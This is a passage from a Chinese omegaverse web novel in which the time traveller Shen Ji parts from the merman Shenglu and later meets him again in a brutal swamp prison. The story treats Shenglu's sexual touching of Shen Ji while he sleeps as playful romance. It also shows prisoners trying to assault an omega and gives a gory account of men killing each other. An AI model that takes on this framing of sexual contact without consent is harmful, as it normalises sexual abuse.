偏偏这时候，他忽然想起医生说的话，圣路很可能是服用太多药物引起的感觉异常，也就是说，也许一开始，圣路是正常的，他并不是那么敏感的，并不是一个兴奋点极低的变态。 想到这里，他轻轻摸了摸他的脑袋。 “啊～有感觉吗？”圣路期待地看着他。 沈继垂眸看着他：“有点痒。” “……”圣路一瞬间快自闭了。 沈继笑了一下。 于是圣路的眼神又开始充满了热烈的高光。 “快点……沈继……我们做……唔爱……” 沈继按住他的唇，隔着手掌轻声道：“有人来了。” 圣路根本不想走，可惜被Enigma不甘不愿地强行抱起来，离开了水泉。 在他们离开后，几个巨神教教徒开着穿梭机到了水泉这里。 “仔细找一找，教皇吩咐，附近有水的地方都要找！” 沈继抱着人鱼藏在远处，看来，那架穿梭机一定也被人发现了。 这时候圣路在他怀里，摸向他微湿润的短发：“我如果变回人腿，你就会离开我吧。” 他用的是笃定的语气。 沈继不假思索：“是。” 圣路：“……你好歹假装一下。” 沈继敛下眼看他：“假装了就可以避免结果的到来吗？” “那我生气了。” 沈继给了他一个”？”的眼神。 “我是说一点点生气。”他又改口。 谁懂啊，遇到一个情绪稳定/执行力超强/安全感拉满/会温柔给自己呼呼/男友力爆棚/只会为难别人/但不会内耗自己/还会玩捆绑/超级帅的Enigma，连生气都不敢太用力。 沈继道：“医生也说，没有缓解的办法，只能等药效过去，才能变回人腿。” “你这么关心我，一定是爱我爱的死去活来吧。”圣路都开始会自我攻略了。 “……” 等巨神教的人走后，沈继也不着急离开，他回到泉边，将人鱼重新放回到水里。 这个时候，沈继早已经到困意的极限了。 大概有一天两夜没有睡了，就算是个正常人都要面临猝死的风险，何况是沈继。 他自己回到岸上，把衣服拧干晾在树枝上，熏起一些驱虫的草药，光着上半身靠着树，准备睡一个好觉。 在半梦半醒中，在飘起的烟熏中，他似乎看到圣路向他走来。 他的两条腿笔直而有力量感，湿漉漉的长发逶迤在身后，偶尔打在小腿上，滴下的水珠滚进草地里。 他越走越近，脸上的水滴都在阳光下折射出晶莹的光感，眼睛猩红，一如既往在看着他的时候，充满不争的欲望和纯粹的情感。 这好像不是梦，可是沈继真的太困了，他完全不想睁开眼。 甚至当场决定就当做这是个梦算了。 他感觉到圣路用他尚且湿漉漉的双腿，坐在他身上。 在前一秒，沈继下意识地收起了自己的精神力茧壳。 他的上半身被笼罩在他那双大手下。 第33章 第三十三章 摸了个遍。 沈继盯着游动的人鱼, 那条漂亮的尾巴在水中泛起畅快的涟漪。 昨天睡得太沉了，他似乎在合眼前看到圣路坐在自己身上，而醒来后, 他感觉到极大的不对劲，一开始以为是穿湿衣服睡觉带来的不适。 但一看到圣路那狡猾的背影，直觉告诉他, 事情没那么简单。 至于睡觉时发生了什么，他模模糊糊地感觉到有人在亲他的脸，亲他的唇，咬他的脖子，一双手还不断地擦过他的胸膛, 揉捏的角度特别刁钻…… 这力度和风格完全就是圣路这个变态会做出的行为。 醒后身上没有一点痕迹。 不过那点轻微的痕迹，在圣路的天然治愈力面前，也不值一提。 “你可是睡了一整天啊。”圣路浮在水面上，嘴角含着一丝深意的笑：“我还以为你不想醒来了。” 沈继走过去, 把人鱼从岸边捞起来。 随后他把早已经干透的上衣穿在身上，发现上衣的领口之前被圣路扯开，歪歪的裂了一大块。 在这荒郊野外, 他只能用精神丝线把裂开的地方粗略补上，让自己稍微看起来不像个流浪汉。 罪魁祸首则坐在草地上看着他, 深邃的眼中带着探究的兴致。 “昨天按的很爽吧？”沈继道。 他怀疑圣路捏他胸口了，睡觉的时候隐约发疼，醒来的时候又什么都没有。 圣路露出一个轻微变态而十足满意的笑：“做梦了吧？梦遗了吗？” “……还嘴硬。”沈继不用怀疑, 看他那变态的笑就知道, 事实一定远比他想的还要严重。 不过腺体上倒是没有什么异常。 “年轻人表面上不屑一顾，实际上在梦里就会变得诚实，做一些不可描述的梦, 这很正常。”圣路仰起头闭上眼，阳光树影落在他脸上。 沈继：“……”那你露出一脸回味的样子是？ “你做到哪一步了？”沈继才不听他狡辩。 “哪一步？”圣路双手撑着身子靠近他，意味深长：“你睡着的时候，不是有茧壳吗？你自己不知道吗？” 沈继：”……”昨天看见圣路过来，他下意识把茧壳收掉了。 这不就是默认他为所欲为了吗。 他猛然发觉，自己的行为已经超脱了以往的行事准则。 圣路现在肯定在暗爽。 “现在药剂的事情搞清楚了，接下来你想去哪？”他问他。 D国的环境对人鱼来说太恶劣，他不适合呆在这里。 圣路的眼神变得深沉：“听说有的人鱼会被某些保护组织送到A国，我想去那里。” A国是歌雅人类中，实力最强的国度，同时也是提案人鱼保护法的国家。 如果能带他去A国，或许自己的“任务”就算完成了。 问题是，他在歌雅是个“黑户”，圣路现在还是条鱼，没办法跨国活动。 如果有一架拥有多国通行牌照的自驾悬浮艇，就可以带着人鱼到A国。 不过，这种东西在D国，除了皇室，大概就只有教皇有了。 该不会还是要去麻烦一下教皇吧。 “那我们走。” 圣路抬起双手。 沈继垂眸看了一眼乖乖坐等抱抱的人鱼。 他甩了一下尾巴，看起来真无辜。 沈继只能把他抱起来。 他给圣路穿上教袍，上了小镇上的悬浮轨道公交，回到了城里。 教堂外的红蛇通道现在已经被封。因为上次的事，遭到国际舆论，教堂暂时停止了教会活动。 教皇受伤严重，还在休养中。 众所周知，在这座城里，除了皇宫，最豪华最漂亮的一座堡垒别墅，就是教皇的府邸。 悬浮艇应该会放在那里。 不过，没有主人的密码，悬浮艇没办法启动。 整座别墅堪比堡垒，地基高达两米，外面的大门厚比城门。 别墅内设置重重关卡，也不可能硬闯。 沈继用精神力破坏了别墅门外的禁制，催响了警报。 一进入内部，重重叠叠的精神力控制仪和各个能让人碎尸万段的关卡，映入他眼帘。 沈继转身就跑了。 他从堡垒外围跳下来，把圣路放在轮椅上，推到一个空旷显眼的地方。 “……你忍心把我当诱饵？” 圣路抬眸看着沈继，委屈。 “忍心。” 沈继还特地把他教袍上的帽子摘下来，露出他尖尖的耳朵和长长的银白头发。保证教皇一探出头，就能看到他那棵摇钱树人鱼。 圣路环视一圈，四周阴森无人，教皇只要启动一只机械臂就能把他掳走。 “你是在故意报复我吗？” “报复你什么？你做了什么对不起我的事情吗？”沈继面无表情。 “……”圣路微微一笑。 哪有人这么较真的。 沈继道：“再说，我根本没时间报复你。” 圣路没有说话，这种左不是右不是的感觉，就是人类说的心虚。 因为他的腿早就恢复了，而且力量上也觉醒了一些。 昨天沈继之所以没办法醒过来，完全也是受了人鱼血脉先天的迷幻蛊惑。 “我就在附近，等教皇露面。”沈继在他身上留下茧壳，说完就离开了。 警报声响得震天，从高楼上探出几个探测仪，不断扫描周围，终于扫描到人鱼的存在。 几个男人坐升降梯从高高的地基上下来。 教皇在一群高手的簇拥下，走近了人鱼，他眼珠凸起，身体贪婪地颤抖着：“我就知道……你是不可能逃出D国的。” 他熬了几十年心血，才寻找培养出这样纯粹的返祖人鱼血脉，怎么可能会放弃。 再次看见教皇，圣路露出近乎平静的冷笑。 直到身后的精神力高手一个个倒下，教皇不可置信地回过头。 “你恢复得很快啊。”沈继道。 “……”教皇脸色灰败。 悬浮艇上。 沈继选好路线，开启了驾驶模式。 一路上畅通无阻，到达了A国的国都。 直到三天后，A国停机坪的工作人员在这辆悬浮艇的后舱里，发现被绑成粽子，丢在箱子里奄奄一息的教皇。 沈继在国都的大屏幕上发现了自己的画像，下面配图： 【近日，有国际通缉犯，挟持人鱼流窜作案，很可能到达A国过境，警方提醒广大群众小心出行，看见可疑人员请及时报警。】 沈继戴着兜帽，坐在一口小喷泉旁边，咬了一口苹果。 光脑上联系不到雷伊几人，也联系不到导师。 这次穿越时间已经不下半个月，以往这个时候，导师早就该让他们回去了。 夜里，沈继就在河边的桥墩下，决定和人鱼分道扬镳。 河水清滑如镜，他把圣路放在水里，看着他游了一圈，华丽的头发缀着长长的银河星光。 然后他站起身：“我走了。” 圣路在水里看着他，出乎寻常地一句话不说。 沈继觉得有必要提醒一下他：“如果下次我们见面，我想杀你，你会躲吧？” 现在是4211年，按照歌雅时间，如果没有意外，下一次见面，是九年后的4218年，那是自己去杀他的时候了。 他觉得圣路倒也不是那么傻的人，只是，得提前给他打个预防针，免得他道心破碎，一怒之下把自己杀了就完了。 毕竟，十年后这家伙的战斗力比自己还高。 “你想杀我，我也躲不过。”圣路居然很平静。 “如果以后你很厉害呢？” “那为什么非要杀我？” “也许只是一个很无聊的游戏吧。” “你杀我，我可以告诉你我最薄弱的地方，如果你愿意击中我的喉咙，我不会躲的。”圣路在水中仰起头，露出自己微微凸起的喉结。 沈继皱眉：“疯子，只是一个游戏，你不能把那当成一个游戏吗？””是因为我上次趁你睡觉，把你全身上下摸了个遍，抱了个遍吗？“ 沈继：“……”终于敢吐露心声了。 不对，这家伙现在就是故意挑衅他。 圣路露出得逞的笑容：“你自己脱了衣服，把茧壳收起来，在我面前睡觉，这怎么能怪我呢？” “所以呢？我们最后做了吗？” 圣路露出了极度懊恼的表情：“最后……我不会。” 沈继：“……” 一个骚话满天飞的家伙，居然连这个都不会。 一百多岁都没做过的人鱼，果然也就那样了。 毕竟没有上过生理课，没有其他鱼做给他看，他也没有片可以参考。 “怎么就不会了？” 圣路看着他，这时候眼神纯情地可怕：“那东西跟铁一样，太可怕了，我自己根本弄不进去，再弄，你就要醒了，我就回到水里了。” 没有Enigma的信息素，omega自己一个人确实很难做到最后一步。 沈继蹲下身，捂住了自己额头，不知道为什么，忽然之间，感觉心脏疯狂跳动。 “那在我死之前，会跟我做吗？”他每次问这个问题都表现得十分认真。 沈继道：“会。” 反正十万年后，圣路都还没死，某些方面来说，这或许是他和他最后一次以实体的形态相见了。 这个承诺，只是一个空头支票。 圣路游到他前面，露出了一片期待的眼神：“可以做一次送一次？” 第34章 第三十四章 沼泽监狱。 冰冷的镣铐反射阳光, 窗外的世界透过缝隙擅自闯进黑暗的牢狱。 妖娆的树影堆积在阴森森的城堡上空，乌鸦穿破浓重的阴影，投入天空另一片更深的黑暗。 “编号H2488, 性别：Enigma，重罪犯，于4212年5月5日收监第三区。” 沉重的大门打开, 两名狱警押着这年轻的Enigma罪犯走进去。 穿过完全封闭的长长过道，进入一间圆形挑空的集中营。 沈继抬起头，一道阳光从集中营上方小小的洞口投射下来。 所有牢房被单独悬空挂起，下面是用铜水浇筑的螺旋式走廊，一直飘到四五层上。 每一层牢房就像游乐场里的缆车一样, 在空中挤挤地挨着。 无数双阴冷奇异的眼睛透过牢房缝隙盯着他。 这里面的罪犯大部分都是灰色和黄色头发，像沈继这样的黑发黑眸几乎没有。 狱警按下按钮，一间牢房沿着钢绳的钳锁滑下，直到他们面前。 打开门, 一间小小的牢房，焊着三张铁床，两个男人坐在左右两张床上, 用冰冷的奇异的眼神打量他。 两道沉重的电子锁压在他手腕上，年轻的黑发Enigma走进牢房中。 狱警在他脸上拍了拍：“乖乖听话哦, 小狗狗。” 沈继没有说话。 Enigma的这幅样子，让房间内两名狱友笑了出来。 轰隆一声，房门被关上, 随后整个房间沿着轨道被挂回半空。 房间内一共三张床, 左右两张床各躺着一个男人。 中间的那张闲置的床上，堆满了杂物和衣服，上面标着与自己编号对应的号码：H2488。 沈继盯着那串号码, 上面锈迹点点，仿佛一片星河回溯。 他为什么会来到这里呢？ 和圣路告别后，沈继在歌雅世界独自寻找雷伊他们，但一直没有消息。 直到某一天，他终于被带回了星际世界，只有他一个人回来了。 雷伊，劳埃斯，沙墨，全部消失了。 导师告诉他，就算是宇宙弦和穿越仪器共振，也没办法跟踪到他们的位置，因此无法将他们带回来。 “我们试过很多次，都失败了。” 沈继：“他们死了？” 导师：“呃……倒也不用先着急下结论。” “那联邦那边的几个学生，他们回来了吗？” “问题就在这里，联邦的状况和我们一样，他们的人也没有回来。” “所以是什么原因？” 导师指着立体成像仪上的歌雅星球。 “在歌雅星，有一块磁场十分特殊的地带，自古以来，那里被称为能量沼泽，星球上的信号能量会被这块地带吞没，我们怀疑他们到了那里。” 沈继道：“这里距离我和他们失散的地方至少几万公里，他们没理由跑那么远。” “考古学家推测，那里曾经是歌雅世界最大的监狱。他们几个很可能是被困在里面了。现在你得回去找到他们。” “如果是能量沼泽，我也会被困在里面。” “回到你们还没失散之前，这样就可以改变后面的事情。避免他们进入能量沼泽。” 沈继道：“问题是机器穿错的概率百分之六十多。” 导师：“……”按照他们之前三次穿越两次穿错的概率来算，确实正确率只有30%…… 虽然沈继提出疑问，但对于要找回同伴这件事，他是坚决执行的。 导师也确实是打算将他送回雷伊他们失踪之前的时间。 只可惜，歪货机器就是歪货机器，雷伊他们失踪时间是歌雅4211年，沈继被送到了4212年，差了整整一年的时间。 也就是现在。 整座沼泽监狱有三个区域。 第一区域是alpha监狱。 第二区域是beta和omega监狱。 沼泽监狱的第三区是最特殊的区域，这里不论性别，纪律松散，但刑罚可怕，被送到这里的，无一不是被政府放弃的亡命之徒。 一旦被打上标签，就算是omega，也会被送到这里。 而沈继更加特殊，他是第一个被关进这里的Enigma。 从被审判入狱开始，他就收到了各种“特殊优待”。 比如，在进来之前，狱警给他打了一针信息素封闭剂。 这种封闭剂能让Enigma的信息素保持封闭，以免影响别人，时效保持两个月。 “我得保证某些恶臭的狗不会骚·扰到别人。” 给他打针的那个黄发狱警，向周围几个狱警道。 因为Enigma的领地信息素会让其他人产生生理性排斥，很像动物世界中占领地盘的行为。 所以他如此讽刺沈继，其他狱警也跟着哈哈大笑。 沈继看了一眼他制服上的青色铭牌：多诺万·德莱。 铭牌的颜色，代表主人的性别。 青色，代表的是alpha。 歌雅人类中，alpha一向对Enigma充满仇视和不甘。 “哦豁，在这里要乖乖的呀，狗狗。”多诺万拍了拍沈继的脸庞，用亲昵的表情调侃他。 沈继垂下视线看着他的手，微微一笑。 不仅是狱警，还有亲爱的狱友。 比如现在，沈继看着床上那堆乱七八糟的东西，又看向自己同房的两位狱友。 两人胸前的编号颜色同样是青色，同样是alpha。 他们也在看着沈继胸前的编号，紫色，代表Enigma。 这个监狱里还没有出现过Enigma。 他们又看了一眼他手腕上的电子锁，按照规矩，每个犯人来的前三天都得戴着电子锁。 “这是谁的？”沈继看向那堆杂物。 “我的。”那高壮个子躺在床上，用双手枕着脑袋。 左边的纤瘦高个瞥了他们一眼。 沈继善意提醒道：“这是我的床，请把你的东西收好。” 对方笑起来：“你的意思是，你想在我的杂物箱上睡觉吗？” “……” “别装了，进来这里的，都打了信息素封闭针，还以为自己是Enigma，还以为能靠信息素当霸主呢？狗狗啊！”他学着狱警的样子装模作样。 “Enigma没有资格睡床吗？” “看见了吗？那里才是你的床。“他指了指角落里的厕所：“滚过去睡吧。” “正好厕所有点堵了，晚上记得张嘴接住尿，别漏了。” “是这样吗？”沈继再次露出了久违的笑容。 十分钟后，他躺在自己的床上，昏昏欲睡。 监狱的床比荒郊野外的草地香多了。 他几乎要睡着了。 “唔唔！呜呜……” 沈继翻了个身，忽略掉厕所里传来的声音。 那个高壮个子四肢被什么无形的东西反绑着，吊在天花板上的一根小横梁上，整个头垂下来差点埋进蹲坑里，脸色红的像小龙虾。 他嘴里塞着一个四角裤，是沈继随手从那堆杂物里面捡的。 纤瘦个子睡在左边床上，压紧了被角。 第35章 第三十五章 omega！ 第二天早上天没亮, 所有人就得起床站在铁门后面，让狱警点数。 狱警停在了17号房门口。 “17号房怎么少了一个人？”多诺万盯着那纤瘦个子：“另一个呢？” 那瘦个眼神闪躲，没有说话。 多诺万意识到情况不对, 狐疑地看了一眼旁边的沈继。 “打开17号。”他按下对讲机。 房门打开，只见壮高个躺在床上，浑身皮肤发出淡紫色, 眼神低涣散，脸色极其难看。 看起来已经神志不清了。 多诺万走近他，用警棍戳了戳他的身体：“垃圾！马上起来！” 壮高个猛的起身，哗啦啦吐在他皮鞋上。 多诺万一棍棍敲他背脊上：“你个贱人！垃圾！” 所有犯人隔着铁栏看着他们，直到壮高个被打晕了过去。 旁边的狱警才叫了医生过来, 把人抬在担架上出去了。 临走时，多诺万看向旁边的沈继，神情阴狠：“我如果查出来和你有关，你就死定了。” 铃声响起, 到了吃饭时间。 瘦高个子连忙拿起自己床头的水杯刷牙。 沈继初来乍到，什么都没有。 他问：“艾里夫，我的牙刷去哪里领？” 艾里夫是他铭牌上的名字。 艾里夫吓得一抖, 惊愕了一下，然后把手里沾了泡沫的牙刷在水龙头下冲洗干净, 然后用干净的衣角使劲擦了擦，像献宝一样地送到沈继面前。 “用我的吧，老大。” “……”沈继露出了此生波动最大的表情∶极度嫌弃。 “难道你们监狱不发这些生活用品吗？”昨天进来的时候, 多诺万那家伙光顾着嘲讽他, 连生活用品都没给。 确定沈继只是问关于牙刷的问题，艾里夫才咽了咽刷牙水：“老大，进来的时候都有分啊。” “你叫我什么？” “你把西凯弄成那样, 在这个17号房里，你当然就是老大了。”艾里夫一怔。 沈继走了出去，艾里夫连忙拿起餐盘，赶紧跟出去。 三区的餐厅内，犯人们拿着餐盘排成长龙等待取餐，多诺万换了一双新鞋，站在旁边，呵斥他们动作快点。 沈继走到他面前：“我的生活用品，你没拿给我。” 多诺万冷冷撇了他一眼，挑眉笑道：“哟哟哟，这是谁来了？” 犯人们回过头，看见沈继胸口上那紫色的铭牌，紫色，代表Enigma。 “原来是我们监狱紫色的小狗狗来了。”多诺万比他矮，为了蔑视他，特意抬高头颅，垂下眼珠。 整个餐厅夸张地哈哈大笑。 一顶黑色帽子飞上了天花板，又弹到汤里，溅起一片汤水。 多诺万重重倒在地上，左脸被什么东西砸出了一个深坑。 整个餐厅鸦雀无声。 旁边的狱警连忙跑上来。 多诺万当场就晕死，地上还有两颗带血的牙齿。 “怎么回事？” 沈继的手上戴着电子锁，这种东西有隐形的磁力，让他的两只手腕最多分开十厘米，而且无法使出大部分力气。 狱警几乎怀疑是电子锁出了问题，但他们为他重新检查，电子锁是正常的。 而且，沈继从始至终还没有动过。 “警官。” 那狱警连忙抬起头，心有余悸般地看着沈继。 “请问牙刷，枕头，毛巾和餐盘，去哪里领？” 最后，沈继得到了他的牙刷水杯毛巾和餐盘，还有另一套换洗的衣服。 取餐的时候，打菜的犯人就打了一勺蘑菇汤浇在他面包上。 “我不喜欢吃蘑菇。”沈继道。 打饭的那只手先是一愣，又另外打了一勺肉进去。 吃饭的时候，艾里夫看着沈继碗里满满的肉，惊讶地抬起眼睛看他。 艾里夫的碗里连蘑菇汤都没有，只有一点青菜。 沈继咬了一口面包：“比我爷爷的岁数还高了。” 艾里夫疑惑：“谁？” “面包。” 艾里夫小声道：“你得罪了多诺万警官，他会把你整死的。” “他有什么可得罪的。” “那家伙的权利只低于区长和狱长，而且他很阴的。” 这时候，沈继在一片纷乱嘈杂的声音中，听见了一句熟悉的语言：“啊！我怎么又输了？” 这是星际语。 沈继目光看过去，几百排长条餐桌中，某个角落里，好几个犯人围着一张桌子。 在那中心点的位置上，沈继看见了他一直寻找的三个失踪人口。 仿佛有所感应，雷伊和劳埃斯三人也在这时抬起头，和沈继完成了历史性会晤。 “沈继！！”雷伊喊出了震动整座餐厅的一声巨响。 ———— 17号牢房。 “妈的，你终于来了！”雷伊哭得像模像样：“你也想我们了吧。” 沈继用力推开他凑过来的脑袋：“太想了。” 雷伊无语：“……”言行完全不一致啊喂。 劳埃斯看向沈继：“原来，你就是昨天被送进来的那个Enigma？” 沈继默认了。 事到如今也没什么好隐瞒的了。 “什么？什么Enigma？”雷伊后知后觉。 沙墨：“哈？” 十分钟后，双方交换了彼此最近的信息。 雷伊他们是在4211年，因为炸毁实验城和科学家，被第五层小队送到了沼泽监狱。 “第五层小队，抓了你们？” 毕竟劳埃斯几个人的精神力在柏堡军校中都是尖子中的尖子，怎么会轻易被抓。 雷伊倚在墙边：“反正我们到了监狱里，也很快会被导师传送到未来，压根不在怕的啊，就去监狱里收集点素材好了，当时就是这样想的……” 劳埃斯道：“到了这里，才知道沼泽监狱是什么意思。这里除了监狱内部短程的电波信息，任何外来信号都会被屏蔽。” 沈继到这里的时候，雷伊他们已经在这里呆了整整一年了。 “所以现在，我们比你大了一岁！”雷伊拍了拍沈继的肩膀：“一年不见了，亲爱的弟弟！” 活动时间结束，犯人们必须到教室强制学习法律。 “沈继弟弟，有什么问题尽管告诉哥哥们，哥哥我们呢，混了一年，不才不才，在这里多少也有点小小的威信。”雷伊揽着沈继的肩膀。 “你好油腻。”沈继瞥了他一眼。 雷伊当场大受打击。 劳埃斯在后面笑。 说是教室，其实是一个大礼堂，容纳了几百个犯人在里面听课。 他们一进去，嘈杂的礼堂安静了一下。 左右两边坐满了人，中间留了一条通道，泾渭分明。 左边已经预留了雷伊几人的位置，右边的犯人们则虎视眈眈地盯着他们。 沈继看出来了，这是两个帮派。 他走在中间的通道上，承受着两边都不友善的目光。 这些家伙里没有一个欢迎他。 “左边是灰头发，右边是黄头发，看吧，歌雅那么大的文明，也会闹种族问题。”沙墨解释道。 沈继想起他的两个室友，都是黄头发的。 看来他是把黄毛帮得罪了。 “那你们这种不灰不黄的怎么办？” “就去灰发帮啊，毕竟黄毛帮听起来也不咋样，沈继，你也跟我们一起吧。” 劳埃斯道：“哪有这么容易，我看沈继未必会被接纳。” “为什么？” “你没看出来？灰发帮的老大对Enigma很有成见。”劳埃斯无奈道。 说话间，几人已经带着沈继坐在了左边前排的位置，这是灰发帮给他们预留的，但尴尬的是，这儿没有沈继的位置。 “抱歉了，这里不欢迎Enigma！”前方的一个男人双手抱胸，冷道。 情况僵持了几秒，沈继正打算离开。 劳埃斯拉住沈继，向灰发帮老大说道：“那好吧，我退出了。” “劳埃斯，你要想清楚，在监狱中半途退出帮派，你们不会好过的。” 雷伊翻了个白眼：“无所谓。” 一个狱警吼道：“H2488，你们要干嘛？坐下！” 沈继找了个最靠后的中间位置，雷伊，劳埃斯和沙墨也跟着他依次坐下来。 几个人在众人的注视下，反而有种君临天下，左右为臣的感觉了。 艾里夫躲在角落里，默默地苦涩一笑，怎么会有人一天之内把两个帮派和狱警三方面势力都得罪完了的？ 他又是怎么会和这种家伙当了室友？ 似乎确实是看在劳埃斯他们的面子上，后面几天沈继还算相安无事。 壮高个被送去医院还没回来，多诺万听说在疗伤，还没出院。 艾里夫私下对他更是又怕又敬。 除了上课吃饭，其余时间，沈继可以睡十六个小时，这日子比任何一次穿越都轻松。 这天，第三区又来了一个新人。 当他被推进巨大的圆形集中营时，全场发出了剧烈的欢呼。 “是个omega！” “老天！是个omega，这破地方多久没来omega了！” “噢噢！看他的头发！银白色的！” “omega！omega！omega！omega！！” 第三区有几百个牢房，关着饥渴的alpha和beta。 所有牢房里的犯人们同时发出了震天动地的呼声！ 沈继站起身，走到铁栏门边，往下看，在圆顶上投下的一束阳光里，看到了那双熟悉的红色眼睛。 他的表情凝重起来。 第36章 第三十六章 疯狂争夺。 他胸口上橙色的铭牌在躁动的第三区显得格格不入。 橙色, 代表的是omega。 连艾里夫这种安静的人都冲上来，在沈继耳边发疯：“老大！老大！真的是omega！好像还是个优质omega！哦哦噢噢！” “……” “太吵了。” 对于沈继来说，和圣路上次分别只是过了一个月的时间, 但圣路是真真切切的过了一年。 就如同雷伊他们一样。 此时的圣路已不是一年前那条需要人抱着的人鱼，现在的他，穿着黑色的狱服, 双腿被长裤盖住，只有一双手手戴着电子锁，衬得肤色更白。 这时候，上面的单间里传来声音：“警官，我们房间这有空床位！” 更多的人唤呼起来：“我这有两张床位！” “我可以现在把我室友打死, 让他来我这吧！” 狱警敲打铁栏：“一群杂种，安静！” 在所有人疯狂的注视下，一个空单间从第三排的轨道绳索上滑下来。 “编号M0001，住306号房。” 因为他是第一个进来的omega, 所以编号0001，巧合的是，这个编号和圣路在实验城的编号一样。 圣路走了进去, 这是个空房间。 在楼上楼下一众失望的咒骂声中，那狱警露出得逞的笑容： “omega不能和异性同住！你们在第三区憋久了, 脑子也被精虫啃光了吗？” 随着悬空的房间缓缓上移，圣路的背影自始至终没有转身向外看过一眼。 每当单间划过其他房间门口，就有许多双手远远地伸出来, 试图通过隔栏抓住omega的头发。 像地狱蹿出恶毒的火焰, 吞噬那抹白色身影。 沈继看着他的背影。 两人的房间交错而过的时候，最近的距离只有三米。 一个跟狱警混得好的男人喊道：“警官先生，你得告诉我们, 他是为什么进来的，我们好‘伸张正义’呀！” 那狱警道：“听说是因为利用医生的职务，私自贩卖婴儿什么的。” “哎呀，那可真是太坏了呀，不如让我进去好好教训教训他吧！” 其他犯人就跟野生动物一样喔喔喔的叫起来。 沈继躺回床上。 他了解过圣路在歌雅的历史，曾经有一段时间，圣路继承了人类父亲的职业，在人类诊所中行医。 沈继和圣路接触过，圣路的医术并不过关，他也许是用人鱼血脉中的治愈力，给别人治病。 贩卖婴儿罪……在歌雅世界中，也是极其严重的罪名。 一个晚上，整个第三区都是犯人的口哨声和轻薄声。 在一千多个疯狂的alpha中推进来一个顶级omega，真是疯了。 沈继知道，他必须让圣路离开第三区，回到正常的第二区。 那里只收押omega和beta。 第二天，狱警照例查巡过后，犯人们下来吃早餐。 集中营的房间都需要轨道钢钳带动落地，停稳才能出来。 几百个房门统一打开，有个犯人还没等单间落稳，就直接越过钢绳，跳到了上面的306号房。 所有人都惊呼起来，哇的一声。 忽然听见一声哀嚎。 那个犯人跳到一半，在半空跌下，被下面滑动中的钢钳卡中，一口气没喘上来，抽搐着死在半空了。 鲜血不断洒下来。 所有犯人在这血腥的瀑布下都欢呼起来。 没有人看到犯人脚腕上，一条隐形的精神丝线正无声无息地收回。 正是这条精神丝线使得那个犯人在凌空一脚时踩空，跌了下来，卡住了钢轨。 值班的狱警满脸铁青地看着这一切。 “妈的！这群疯子！安静！” 沈继希望通过这件事，监狱能意识到事情的严重性，把圣路安排到第二区。 但是，狱警们只是骂骂咧咧地喊人来维修，对于圣路的关押问题，没有做出任何改变。 这时候，圣路从房间里出来，手上仍戴着电子锁，沈继看见他银白的发丝长到几乎要到小腿肚了。 他站在圆形柱后面看着他。 不是故意躲他，只是以圣路的性格，如果这个时候和自己见面，想让他离开第三区就更难了。 omega眼神冷漠，脸上毫无表情，对于周围充斥的调笑声和口哨声充耳不闻。 他走到哪里，周围就引来一堆人，像苍蝇围着他。 如果不是所有人都打了信息素封闭针，这座监狱已经没有一点可闻的空气了。 两名狱警紧紧盯着他们：“别惹事！” 因为刚刚那件事，滑轨必须重新清洗调整。 狱警们任务加重，脾气更暴躁了，不时地用棍子敲打着队伍。 圣路拿着他的餐盘，一些胆子小点的故意用肩膀和手臂去撞他碰他。 一些胆子大的，就直接上手摸了。 首先，是一只粗壮的手压在他肩膀上：“宝贝，跟我来。” 然后，另一双手揽住了他的腰，同时有人捏住了他的后颈。 三个高大的alpha瞬间围住了omega。 沈继认出，其中一个脖子上纹着花纹的是灰发帮的二把手，另外两个是黄发帮的。 在这种时候，几个人倒是和谐地放下帮派嫌隙了。 圣路看着他们，眼神有些犹疑和惊恐：”……去哪里呢？” 花纹男已经按耐不住嘴角的笑意了：“你马上就会明白了。” 他们几乎半推着他前行，似乎生怕到嘴的肉跑了。 沈继要上前阻止，然而在圣路转身之时，他在他眼中看到了一闪而过的笑意。 笑意中，是病态的，残忍的底色。 沈继忽然想起，在上次告别的时候，圣路血脉中的力量就已经开始觉醒了，尤其现在已经过了一年。 他的变态细胞应该只多不少了。 在几人后面，齐刷刷地跟了长长一串的犯人，抱着想分一杯羹的心理。 狱警看见了这画面，没有任何动作，毕竟手里还拿着刚刚从花纹男那里得来的好处。 沈继有一瞬间不敢想象，他甚至猜到了，狱警们将圣路关到第三区的原因。 一种明码标价的暗中出售行为。 利用稀有的omega资源，让监狱中的alpha花高价行贿狱警，以达到敛财的目的。 沈继目光冰冷，如果圣路是一个没有精神力的omega，那么这场景就是地狱。 沈继跟在后面，看见花纹男几人带着圣路去了餐厅后面的活动室。 随着一声砰的巨响，后面跟着的一串人被关在了门外。 沈继的一缕精神感知留在了门内。 他们焦急地在门外徘徊：“二哥！你悠着点啊，我们还没进去呢！” 没多久，门咿呀自动打开了，一股血腥味扑鼻而来。 地上的尸体死状恐怖，鲜血流了满地，已经没有一个完整的部分能辨别。 这不是一个正常的杀人犯能做到的。 这场景就算是在场那些作奸犯科的犯人们，都不禁感到一阵反胃。 而圣路坐在沙发上，一脸惊恐无辜，好像受到了惊吓。 “他们怎么会忽然自相残杀？” “是黄发帮的老七和三臂先动手，我们二哥拼死一搏，才反杀他们！” “放屁！是你家老二偷袭吧！” 两方人马你推我挡，就要干架了。 沈继靠在门边，看着来来往往推搡的人群后，坐着的omega。 又装出那楚楚可怜的样子。 要不是沈继用精神感知看见了刚刚在活动室发生的一切，说不定也要被他此刻的演技蒙骗了。 那三个alpha，就是在圣路的幻视蛊惑下，自相残杀的，没有武器，就用牙齿啃咬撕扯，用手指戳杀，如同野兽一般，不死不休。 所以，几个人的尸体才会如此惨烈。 一片推攘的交错光影里，omega那原本装模作样惊慌的眼神，捕捉到了沈继的身影。 omega的眼神出现长久明亮的光，在短暂的错愕后，露出病态的笑容。 隔着人群，他向他伸出了双手，那笑容慢慢扩大。 充满了病态的期待和单纯的欢喜。 “快，来抱我呀……”他的声线抖动，伸出的双手也激动地颤抖着，但因为手腕戴着电子锁而无法打开求抱的角度，而显得更加让人痴迷了。 这话一出口，本来还在争执不休的犯人们停了下来，看着omega。 所有人疯了一样，互相拥挤拉扯着冲向沙发上的omega。 “我害怕！沈继！”圣路惊慌地看着他，那嘴角的笑意却没有收敛。 一个薄薄的茧壳出现在他周围，挡住了同时伸向他的几双手，飞出了几丝血光。 就算是这样，也没能阻止这些家伙的前仆后继。 也就在这时，狱警们终于赶到现场，最终是用体内芯片的电流强制把犯人们撵出活动室。 沈继也跟着离开，圣路随后被狱警们单独带出来。 因为牢房的钢钳还在清理，众人被暂时驱赶到外面的空地。 ———— 整片阳光倾洒下来。 